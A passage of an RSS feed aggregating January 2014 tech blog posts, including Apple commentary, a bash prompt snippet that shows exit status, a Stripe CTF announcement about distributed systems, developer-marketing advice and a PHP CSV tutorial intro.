&lt;p&gt;Thanks to John Siracusa &lt;a href="https://twitter.com/siracusa/status/428702290070224897"&gt;for the link&lt;/a&gt;, as a college student I found this excellent article on the problems facing higher education especially interesting and well worth the time it will take you to read through once or, maybe, even twice&amp;#160;&amp;#8212;&amp;#160;it&amp;#8217;s just that good.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://www.shirky.com/weblog/2014/01/there-isnt-enough-money-to-keep-educating-adults-the-way-were-doing-it/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Thu, 30 Jan 2014 10:25:51 GMT</pubDate><guid isPermaLink="true">http://www.shirky.com/weblog/2014/01/there-isnt-enough-money-to-keep-educating-adults-the-way-were-doing-it/</guid></item><item><title>Decision Tree Implementation in Python</title><link>https://faingezicht.com/projects/2014/01/30/decision-tree/</link><description>Decision trees are an amzingly simple way to model data classification. This is an implementation of a &lt;a href="https://en.wikipedia.org/wiki/ID3_algorithm"&gt;ID3&lt;/a&gt;/&lt;a href="https://en.wikipedia.org/wiki/C4.5_algorithm"&gt;C4.5&lt;/a&gt; hybrid algorithm. The basic idea behind the model is to recursively cut the available data into two parts, maximizing information gain on each iteration.

Built for professor Doug Downey's &lt;a href="http://www.cs.northwestern.edu/~ddowney/courses/349_Winter2014/"&gt;Machine Learning course&lt;/a&gt; at Northwestern University. More info on the assignment can be found &lt;a href="http://www.cs.northwestern.edu/~ddowney/courses/349_Winter2014/pset2.html"&gt;here&lt;/a&gt;.

This was one of the first complex CS projects I worked on, which is evident by reading my sloppy code. You can find the implemantation &lt;a href="https://github.com/avyfain/decisionTree"&gt;here&lt;/a&gt;.</description><author>Avy Faingezicht</author><pubDate>Thu, 30 Jan 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/projects/2014/01/30/decision-tree/</guid></item><item><title>Stripe CTF 3.0</title><link>https://3059274a.danpalmer-me.pages.dev/2014-01-30-stripe-ctf/</link><description>&lt;p&gt;Last Wednesday, &lt;a href="http://stripe.com/"&gt;Stripe&lt;/a&gt; started their 3rd &lt;a href="http://stripe-ctf.com"&gt;Capture the Flag&lt;/a&gt; competition. As a provider of online payment services, security has been critical to them, so over the last few years they have run two CTFs based around hacking and securing systems. This year they chose a different subject: distributed systems.&lt;/p&gt;
&lt;p&gt;The CTF happened over the course of the last week, and consisted of 5 levels of supposedly increasing difficulty, with many participants hanging out on the IRC channels and creating a fun community that was full of innovative ideas.&lt;/p&gt;</description><author>Dan Palmer</author><pubDate>Thu, 30 Jan 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://3059274a.danpalmer-me.pages.dev/2014-01-30-stripe-ctf/</guid></item><item><title>In Defense of Muting</title><link>https://zacs.site/blog/in-defense-of-muting.html</link><description>&lt;p&gt;Inspired by an exchange Zac Cichy and I had on Twitter &lt;a href="https://twitter.com/zcichy/status/428447221361565697"&gt;earlier today&lt;/a&gt;, and further prompted when Zac made &lt;a href="https://twitter.com/zcichy/status/428672547035435008"&gt;another series&lt;/a&gt; of &lt;a href="https://twitter.com/zcichy/status/428673122879815680"&gt;very pointed&lt;/a&gt; remarks earlier this evening, I decided now was as good a time as any to step away from the Apple sphere and talk about Twitter for a little bit.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/in-defense-of-muting.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Wed, 29 Jan 2014 23:50:45 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/in-defense-of-muting.html</guid></item><item><title>Show the exit status in your $PS1</title><link>https://purpleidea.com/blog/2014/01/29/show-the-exit-status-in-your-ps1/</link><description>&lt;p&gt;As an update &lt;a href="https://purpleidea.com/blog/2013/10/10/show-current-git-branch-in-ps1-when-branch-is-not-master/"&gt;to my earlier article&lt;/a&gt;, a friend gave me an idea of how to make my &lt;code&gt;$PS1&lt;/code&gt; even better&amp;hellip; First, the relevant part of my &lt;code&gt;~/.bashrc&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0"&gt;&lt;code class="language-bash"&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;ps1_prompt&lt;span style="color: #666;"&gt;()&lt;/span&gt; &lt;span style="color: #666;"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;	&lt;span style="color: #a2f;"&gt;local&lt;/span&gt; &lt;span style="color: #b8860b;"&gt;ps1_exit&lt;/span&gt;&lt;span style="color: #666;"&gt;=&lt;/span&gt;&lt;span style="color: #b8860b;"&gt;$?&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;	&lt;span style="color: #a2f; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #666;"&gt;[&lt;/span&gt; &lt;span style="color: #b8860b;"&gt;$ps1_exit&lt;/span&gt; -eq &lt;span style="color: #666;"&gt;0&lt;/span&gt; &lt;span style="color: #666;"&gt;]&lt;/span&gt;; &lt;span style="color: #a2f; font-weight: bold;"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;		&lt;span style="color: #080; font-style: italic;"&gt;#ps1_status=`echo -e "\[&amp;amp;#092;&amp;amp;#048;33[32m\]"'\$'"\[&amp;amp;#092;&amp;amp;#048;33[0m\]"`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;		&lt;span style="color: #b8860b;"&gt;ps1_status&lt;/span&gt;&lt;span style="color: #666;"&gt;=&lt;/span&gt;&lt;span style="color: #b44;"&gt;'\$'&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;	&lt;span style="color: #a2f; font-weight: bold;"&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;		&lt;span style="color: #b8860b;"&gt;ps1_status&lt;/span&gt;&lt;span style="color: #666;"&gt;=&lt;/span&gt;&lt;span style="color: #b44;"&gt;`&lt;/span&gt;&lt;span style="color: #a2f;"&gt;echo&lt;/span&gt; -e &lt;span style="color: #b44;"&gt;"\[&amp;amp;#092;&amp;amp;#048;33[1;31m\]"&lt;/span&gt;&lt;span style="color: #b44;"&gt;'\$'&lt;/span&gt;&lt;span style="color: #b44;"&gt;"\[&amp;amp;#092;&amp;amp;#048;33[0m\]"&lt;/span&gt;&lt;span style="color: #b44;"&gt;`&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;	&lt;span style="color: #a2f; font-weight: bold;"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;	&lt;span style="color: #b8860b;"&gt;ps1_git&lt;/span&gt;&lt;span style="color: #666;"&gt;=&lt;/span&gt;&lt;span style="color: #b44;"&gt;''&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;	&lt;span style="color: #a2f; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #666;"&gt;[&lt;/span&gt; &lt;span style="color: #b44;"&gt;"&lt;/span&gt;&lt;span style="color: #a2f; font-weight: bold;"&gt;$(&lt;/span&gt;__git_ps1 %s&lt;span style="color: #a2f; font-weight: bold;"&gt;)&lt;/span&gt;&lt;span style="color: #b44;"&gt;"&lt;/span&gt; !&lt;span style="color: #666;"&gt;=&lt;/span&gt; &lt;span style="color: #b44;"&gt;''&lt;/span&gt; -a &lt;span style="color: #b44;"&gt;"&lt;/span&gt;&lt;span style="color: #a2f; font-weight: bold;"&gt;$(&lt;/span&gt;__git_ps1 %s&lt;span style="color: #a2f; font-weight: bold;"&gt;)&lt;/span&gt;&lt;span style="color: #b44;"&gt;"&lt;/span&gt; !&lt;span style="color: #666;"&gt;=&lt;/span&gt; &lt;span style="color: #b44;"&gt;'master'&lt;/span&gt; &lt;span style="color: #666;"&gt;]&lt;/span&gt;; &lt;span style="color: #a2f; font-weight: bold;"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;		&lt;span style="color: #b8860b;"&gt;ps1_git&lt;/span&gt;&lt;span style="color: #666;"&gt;=&lt;/span&gt;&lt;span style="color: #b44;"&gt;" (\[&amp;amp;#092;&amp;amp;#048;33[32m\]"&lt;/span&gt;&lt;span style="color: #a2f; font-weight: bold;"&gt;$(&lt;/span&gt;__git_ps1 &lt;span style="color: #b44;"&gt;"%s"&lt;/span&gt;&lt;span style="color: #a2f; font-weight: bold;"&gt;)&lt;/span&gt;&lt;span style="color: #b44;"&gt;"\[&amp;amp;#092;&amp;amp;#048;33[0m\])"&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;	&lt;span style="color: #a2f; font-weight: bold;"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;	&lt;span style="color: #b8860b;"&gt;PS1&lt;/span&gt;&lt;span style="color: #666;"&gt;=&lt;/span&gt;&lt;span style="color: #b44;"&gt;"&lt;/span&gt;&lt;span style="color: #b68; font-weight: bold;"&gt;${&lt;/span&gt;&lt;span style="color: #b8860b;"&gt;debian_chroot&lt;/span&gt;:+(&lt;span style="color: #b8860b;"&gt;$debian_chroot&lt;/span&gt;)&lt;span style="color: #b68; font-weight: bold;"&gt;}&lt;/span&gt;&lt;span style="color: #b44;"&gt;\u@\h:\[&amp;amp;#092;&amp;amp;#048;33[01;34m\]\w\[&amp;amp;#092;&amp;amp;#048;33[00m\]&lt;/span&gt;&lt;span style="color: #b68; font-weight: bold;"&gt;${&lt;/span&gt;&lt;span style="color: #b8860b;"&gt;ps1_git&lt;/span&gt;&lt;span style="color: #b68; font-weight: bold;"&gt;}${&lt;/span&gt;&lt;span style="color: #b8860b;"&gt;ps1_status&lt;/span&gt;&lt;span style="color: #b68; font-weight: bold;"&gt;}&lt;/span&gt;&lt;span style="color: #b44;"&gt; "&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #666;"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #080; font-style: italic;"&gt;# preserve earlier PROMPT_COMMAND entries...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #b8860b;"&gt;PROMPT_COMMAND&lt;/span&gt;&lt;span style="color: #666;"&gt;=&lt;/span&gt;&lt;span style="color: #b44;"&gt;"ps1_prompt;&lt;/span&gt;&lt;span style="color: #b8860b;"&gt;$PROMPT_COMMAND&lt;/span&gt;&lt;span style="color: #b44;"&gt;"&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
If you haven&amp;rsquo;t figured it out, the magic is that the trailing &lt;strong&gt;$&lt;/strong&gt; prompt gets coloured in &lt;strong&gt;&lt;span style="color: #ff0000;"&gt;red&lt;/span&gt;&lt;/strong&gt; when the previous command exited with a non-zero value. Example:&lt;/p&gt;</description><author>The Technical Blog of James on purpleidea.com</author><pubDate>Wed, 29 Jan 2014 21:43:44 GMT</pubDate><guid isPermaLink="true">https://purpleidea.com/blog/2014/01/29/show-the-exit-status-in-your-ps1/</guid></item><item><title>Crossing The Musical Finish Line</title><link>http://vintagezen.com/zen/2014/1/29/crossing-the-musical-finish-line</link><description>&lt;p&gt;If you scrolled past Linus Edwards&amp;#8217;s latest article &lt;a href="https://twitter.com/andrewjclark/status/428650506622226432"&gt;for some reason&lt;/a&gt;, disinterested in the topic of music and his thoughts on the subject, 1) you&amp;#8217;re wrong, go read it anyway; it&amp;#8217;s great, and b) after you have read through it once, go back, replace &amp;#8220;music&amp;#8221; with &amp;#8220;idea&amp;#8221;, and it suddenly becomes even more impactful.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://vintagezen.com/zen/2014/1/29/crossing-the-musical-finish-line"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Wed, 29 Jan 2014 21:08:29 GMT</pubDate><guid isPermaLink="true">http://vintagezen.com/zen/2014/1/29/crossing-the-musical-finish-line</guid></item><item><title>Apple to close down, because the company is just so sick of analysts</title><link>http://reverttosaved.com/2014/01/28/apple-to-close-down-because-the-company-is-just-so-sick-of-analysts/</link><description>&lt;p&gt;Absolutely hilarious fictitious recount of the Apple quarterly earnings call, all the funnier because Peter Oppenheimer and Apple&amp;#8217;s other C-level executives would be perfectly justified in responding this way.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://reverttosaved.com/2014/01/28/apple-to-close-down-because-the-company-is-just-so-sick-of-analysts/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Wed, 29 Jan 2014 18:42:07 GMT</pubDate><guid isPermaLink="true">http://reverttosaved.com/2014/01/28/apple-to-close-down-because-the-company-is-just-so-sick-of-analysts/</guid></item><item><title>The Apple Problem</title><link>http://techpinions.com/the-apple-problem/26903</link><description>&lt;blockquote&gt;
&lt;p&gt;&amp;#8220;Of course, most of these challenges are going to also impact Apple&amp;#8217;s competitors in the higher-end device space&amp;#160;&amp;#8212;&amp;#160;they aren&amp;#8217;t unique to Apple. Plus, Apple has proven over and over again that they&amp;#8217;re able to innovate in way that its competitors can only dream about. So, don&amp;#8217;t get me wrong, I&amp;#8217;m not worried about Apple&amp;#8217;s long-term fate in the least. However, that doesn&amp;#8217;t mean we won&amp;#8217;t see a bumpy road over the next few quarters and that&amp;#8217;s an Apple problem that has to be given serious thought.&amp;#8221;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Bob O&amp;#8217;Donnell writing for Tech.pinions with an excellent article published in the wake of Apple&amp;#8217;s recent quarterly earnings call. Unlike most of the commentary I have done my best to avoid thus far, Bob takes a refreshingly even-handed approach to the topic. The coming year will indeed be an interesting one for Apple and the entire mobile computing industry alike.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://techpinions.com/the-apple-problem/26903"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Wed, 29 Jan 2014 18:37:30 GMT</pubDate><guid isPermaLink="true">http://techpinions.com/the-apple-problem/26903</guid></item><item><title>The iPhone Company</title><link>http://parislemon.com/post/74792148262/the-iphone-company#fnref:p74792148262-2</link><description>&lt;p&gt;An interesting article from MG Siegler explaining the importance of the iPhone to today&amp;#8217;s Apple and Apple years down the road as the smartphone market approaches saturation and mobile phone sales, inevitably, begin to decline.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://parislemon.com/post/74792148262/the-iphone-company#fnref:p74792148262-2"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Wed, 29 Jan 2014 18:25:27 GMT</pubDate><guid isPermaLink="true">http://parislemon.com/post/74792148262/the-iphone-company#fnref:p74792148262-2</guid></item><item><title>SPRING Forward(ing)</title><link>https://rob.sh/post/206/</link><description>&lt;p&gt;I recently gave a talk at UKNOF relating to Segment Routing/SPRING and the operational challenges that we are trying to resolve through it. You can see it on YouTube below - or the slides are on this site - &lt;a href="https://cdn.rob.sh/files/rjs_Spring-Forwarding_uknof27_v2.pdf" target="_blank"&gt;SPRING Forward(ing) - UKNOF27&lt;/a&gt;&lt;/p&gt;
&lt;div style="height: 10px;"&gt;&lt;/div&gt;
&lt;div style="text-align: center;"&gt;&lt;/div&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;</description><author>rob.sh</author><pubDate>Wed, 29 Jan 2014 10:00:00 GMT</pubDate><guid isPermaLink="true">https://rob.sh/post/206/</guid></item><item><title>Jacob Hinmon: Director of Four + One Productions</title><link>https://solomon.io/jacob-hinmon-director-of-four-one-productions/</link><description>Jacob Hinmon is a filmmaker and entrepreneur. He is the director of Four + One Productions and founder of Collected Works.</description><author>Sam Solomon</author><pubDate>Wed, 29 Jan 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://solomon.io/jacob-hinmon-director-of-four-one-productions/</guid></item><item><title>Where to go with developer content</title><link>/2014/01/28/where-to-go-developer-content/</link><description>&lt;p&gt;Last week I wrote up some &lt;a href="/2014/01/16/developer-marketing-where-to-start-with-content/"&gt;initial steps for getting started with marketing a developer&lt;/a&gt; focused product. The short of it was quite trying to do &amp;ldquo;marketing&amp;rdquo; and just start putting out interesting material. A big part of this is sourcing material from your company&amp;rsquo;s developers. From there you want to gradually shift it from simply interesting technical posts to things that align with your core beliefs and add value to your customers.&lt;/p&gt;
&lt;p&gt;Perhaps the easiest way to do this is by highlighting some examples of it.&lt;/p&gt;
&lt;h3 id="teach-them-how-to"&gt;
&lt;div&gt;
Teach them how to
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://www.tindie.com/"&gt;Tindie&lt;/a&gt; is a marketplace focused on makers. Browsing their site is simply awesome, there&amp;rsquo;s everything from fully &lt;a href="https://www.tindie.com/products/browse/home/"&gt;built things&lt;/a&gt; to raw supplies to let me &lt;a href="https://www.tindie.com/supplies/"&gt;start hacking&lt;/a&gt;. The biggest problem though is they don&amp;rsquo;t tell me how to take advantage of so much on their site. Posts similar to New Relic&amp;rsquo;s on how they made their &lt;a href="http://blog.newrelic.com/2013/11/18/making-futurestack-badge/"&gt;awesome conference badges&lt;/a&gt; with a ready made shopping list of components would both get me excited and teach me something I didn&amp;rsquo;t know how to do prior.&lt;/p&gt;
&lt;p&gt;Now a lot of this may seem obvious, but its not just about giving a how to. This doesn&amp;rsquo;t belong in a readme or in product documentation. Instead the activity of regularly crafting relevant stories that stretch how people think about hardware hacking should be a top of mind focus. It also positions you as a thought leader within the space. Right now there is no thought leader for makers, and theres ample opportunity to be that.&lt;/p&gt;
&lt;h3 id="timely-content"&gt;
&lt;div&gt;
Timely content
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;Chipmaker &lt;a href="https://www.spark.io/"&gt;Spark.io&lt;/a&gt; recently hugely capitalized on the &lt;a href="http://gizmodo.com/google-just-bought-nest-for-3-2-billion-1500503899"&gt;Nest acquisition&lt;/a&gt; by writing a post only days after of how you can build an &lt;a href="http://blog.spark.io/2014/01/17/open-source-thermostat/"&gt;open source Nest for $70&lt;/a&gt;. I suspect they didn&amp;rsquo;t have such a post just lying around waiting for the acquisition and instead scrambled to get it all together almost as soon as it occurred.&lt;/p&gt;
&lt;p&gt;Over time the opportunity will always present itself in some form to attach yourself to another story. Sometimes this can be related to a direct competitor, sometimes its simply tangential. Being willing to quickly invest time when an opportunity presents itself is key to taking advantage of those opportunities. But please don&amp;rsquo;t let such opportunities be your only way of capturing attention, there should still be a steady beat and focus.&lt;/p&gt;
&lt;h3 id="let-your-beliefs-come-out"&gt;
&lt;div&gt;
Let your beliefs come out
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;Nearly everytime I sit down with some founder or very early employee at a company the vibe and impression I get from them is an order of magnitude stronger than the company&amp;rsquo;s public persona. At the root of every company trying to do something big is an acute focus on a problem with strong opinions about how to solve them. You don&amp;rsquo;t win people over by giving middle of the road opinions.&lt;/p&gt;
&lt;p&gt;Heroku&amp;rsquo;s often been an example of being extremely opinionated. For a long time you found bits of this within our product such as with an ephermal filesystem – which in the long term enables scalability. Or with directing the separation of code and config – which helps reproducability for when things go wrong and spinning up new copies of your app.&lt;/p&gt;
&lt;p&gt;Again the biggest problem with this opinionation wasn&amp;rsquo;t that it existed, but that it wasn&amp;rsquo;t talked about clearly or loudly enough. Its now much clearer and broader in the form of &lt;a href="http://12factor.net/"&gt;12 Factor&lt;/a&gt; which fully codifies those strong opinions which influence the product, but also has applicability outside of Heroku.&lt;/p&gt;
&lt;h3 id="all-of-the-approaches"&gt;
&lt;div&gt;
All of the approaches
&lt;/div&gt;
&lt;/h3&gt;
&lt;p&gt;Doing just one of the above really isn&amp;rsquo;t enough. Having multiple types of content such as the above three allow you to be much more effective. Of course the way you manage them and distribute them changes based on the type of content, but more on that later.&lt;/p&gt;</description><author>CRAIG KERSTIENS</author><pubDate>Tue, 28 Jan 2014 22:55:56 GMT</pubDate><guid isPermaLink="true">/2014/01/28/where-to-go-developer-content/</guid></item><item><title>Eve Online wages largest war in its 10 year history</title><link>http://www.polygon.com/2014/1/28/5352774/eve-online-wages-largest-battle-in-its-10-year-history</link><description>&lt;p&gt;Almost a year ago today &lt;a href="https://zacs.site/blog/the-battle-of-asakai.html"&gt;I linked to&lt;/a&gt; Penny Arcade&amp;#8217;s coverage of the famed Battle of Asakai, a war that occurred in the popular game Eve Online and consisted of roughly 3,000 players. As if to commemorate the massive battle&amp;#8217;s anniversary, several coalitions are currently in the process of finishing the largest fight in the game&amp;#8217;s history even as I write this. I said it before and I will say it again: &amp;#8220;I still can&amp;#8217;t quite wrap my head around a fight consisting of more than 3,000 individuals. Amazing.&amp;#8221;&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://www.polygon.com/2014/1/28/5352774/eve-online-wages-largest-battle-in-its-10-year-history"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Tue, 28 Jan 2014 21:50:51 GMT</pubDate><guid isPermaLink="true">http://www.polygon.com/2014/1/28/5352774/eve-online-wages-largest-battle-in-its-10-year-history</guid></item><item><title>The March Towards Uniformity</title><link>https://zacs.site/blog/its-a-crapshoot.html</link><description>&lt;p&gt;A few days ago Lorraine Luk, Eva Dou, and Daisuke Wakabayashi wrote an article for The Wall Street Journal conservatively titled&amp;#160;&amp;#8212;&amp;#160;the hallmark of this upstanding publication&amp;#160;&amp;#8212;&amp;#160;&lt;a href="http://online.wsj.com/news/article_email/SB10001424052702304856504579338611620927036-lMyQjAxMTA0MDIwMzEyNDMyWj"&gt;&lt;em&gt;Apple iPhones to Come Out With Bigger Screens&lt;/em&gt;&lt;/a&gt;. It sparked a great deal of primarily confirmatory discussion over the next few days, during which &lt;a href="http://stratechery.com/2014/wsj-apple-iphones-come-bigger-screens/"&gt;Ben Thompson&lt;/a&gt; spoke out in favor of this rumor. Citing the Asian market&amp;#8217;s desire for large devices, Ben made a compelling case for larger phones as Apple seeks to capitalize on the massive Chinese mobile phone industry. &lt;a href="http://daringfireball.net/linked/2014/01/24/wsj-big-iphones"&gt;John Gruber&lt;/a&gt;, on the other hand, did not feel similarly inclined, and made a few valid points discounting The Wall Street Journal&amp;#8217;s piece.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/its-a-crapshoot.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Tue, 28 Jan 2014 21:02:47 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/its-a-crapshoot.html</guid></item><item><title>sweet.js experiments</title><link>https://rd.nz/2014/01/sweetjs-experiments.html</link><author>Rich Dougherty</author><pubDate>Tue, 28 Jan 2014 10:41:00 GMT</pubDate><guid isPermaLink="true">https://rd.nz/2014/01/sweetjs-experiments.html</guid></item><item><title>2 Dimensional Array To CSV Download Using PHP</title><link>https://kernelcurry.com/blog/array-to-csv-download/</link><description>&lt;p&gt;Have you ever needed to convert a 2 dimensional array into a CSV then force a download? Well, I have, and here is how I did it:&lt;/p&gt;
&lt;h3 id="array"&gt;Array&lt;/h3&gt;
&lt;p&gt;Every internal array must have the same keys. These keys may be set to null, but the key must exist. Below is a sample array that we can work with through this example.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0"&gt;&lt;code class="language-php"&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;[
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt; [
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt; &lt;span style="color: #e6db74;"&gt;'title'&lt;/span&gt;&lt;span style="color: #f92672;"&gt;=&amp;gt;&lt;/span&gt;&lt;span style="color: #e6db74;"&gt;'How to be Good at Life'&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt; &lt;span style="color: #e6db74;"&gt;'author'&lt;/span&gt;&lt;span style="color: #f92672;"&gt;=&amp;gt;&lt;/span&gt;&lt;span style="color: #e6db74;"&gt;'@GRTaylor2'&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt; &lt;span style="color: #e6db74;"&gt;'url'&lt;/span&gt;&lt;span style="color: #f92672;"&gt;=&amp;gt;&lt;/span&gt;&lt;span style="color: #e6db74;"&gt;'https://medium.com/better-humans/56302026d56e'&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt; ],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt; [
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt; &lt;span style="color: #e6db74;"&gt;'title'&lt;/span&gt;&lt;span style="color: #f92672;"&gt;=&amp;gt;&lt;/span&gt;&lt;span style="color: #e6db74;"&gt;'Clean URLs for Good SEO'&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt; &lt;span style="color: #e6db74;"&gt;'author'&lt;/span&gt;&lt;span style="color: #f92672;"&gt;=&amp;gt;&lt;/span&gt;&lt;span style="color: #e6db74;"&gt;'@ChuckReynolds'&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt; &lt;span style="color: #e6db74;"&gt;'url'&lt;/span&gt;&lt;span style="color: #f92672;"&gt;=&amp;gt;&lt;/span&gt;&lt;span style="color: #e6db74;"&gt;'http://rynoweb.com/clean-urls-good-seo/'&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt; ]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="code"&gt;Code&lt;/h3&gt;
&lt;p&gt;The code (below) takes the array (above) and converts it into a CSV string with the keys being the header row. After the string is generated, it is placed into output buffer then forced to be downloaded by the browser.&lt;/p&gt;</description><author>KernelCurry</author><pubDate>Tue, 28 Jan 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://kernelcurry.com/blog/array-to-csv-download/</guid></item><item><title>Analyzing Sleep with Sleep Cycle App and R</title><link>https://blog.tafkas.net/2014/01/28/analyzing-sleep-with-sleep-cycle-app-and-r/</link><description>I have been tracking my sleep for almost two years now using my Fitbit. I started with the Fitbit Ultra and then moved on the the Fitbit One after it came out. In October 2013 I found out about the Sleep Cycle (Link) app for the iPhone. For weeks, Sleep Cycle was listed as the best-selling health app in Germany, where currently (as of January 2014) it is in second place.</description><author>Tafkas Blog</author><pubDate>Tue, 28 Jan 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://blog.tafkas.net/2014/01/28/analyzing-sleep-with-sleep-cycle-app-and-r/</guid></item><item><title>Facebook Saves a BILLION Dollars via Open Compute Designs</title><link>https://www.danstroot.com/posts/2014-01-28-facebook-saves-a-billion-dollars-via-open-compute-designs</link><description>&lt;img alt="post image" src="https://danstroot.imgix.net/assets/blog/img/fb-server.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;Today at the Open Compute Summit, CEO Mark Zuckerberg said that "In the last three years alone, Facebook has saved more than a billion dollars in building out our infrastructure using Open Compute designs.s&lt;br /&gt;&lt;br /&gt;This post &lt;a href="https://www.danstroot.com/posts/2014-01-28-facebook-saves-a-billion-dollars-via-open-compute-designs"&gt;Facebook Saves a BILLION Dollars via Open Compute Designs&lt;/a&gt; first appeared on &lt;a href="https://www.danstroot.com"&gt;Dan Stroot's Blog&lt;/a&gt;</description><author>Dan Stroot</author><pubDate>Tue, 28 Jan 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.danstroot.com/posts/2014-01-28-facebook-saves-a-billion-dollars-via-open-compute-designs</guid></item><item><title>Screencasts of Puppet-Gluster + Vagrant</title><link>https://purpleidea.com/blog/2014/01/27/screencasts-of-puppet-gluster-vagrant/</link><description>&lt;p&gt;I decided to record some screencasts to show how easy it is to deploy &lt;a href="https://gluster.org/"&gt;GlusterFS&lt;/a&gt; using &lt;a href="https://purpleidea.com/blog/2014/01/08/automatically-deploying-glusterfs-with-puppet-gluster-vagrant/" title="Automatically deploying GlusterFS with Puppet-Gluster + Vagrant!"&gt;Puppet-Gluster+Vagrant&lt;/a&gt;. You can follow along even if you don&amp;rsquo;t know anything about Puppet or Vagrant. The hardest part of this process was producing the actual videos!&lt;/p&gt;
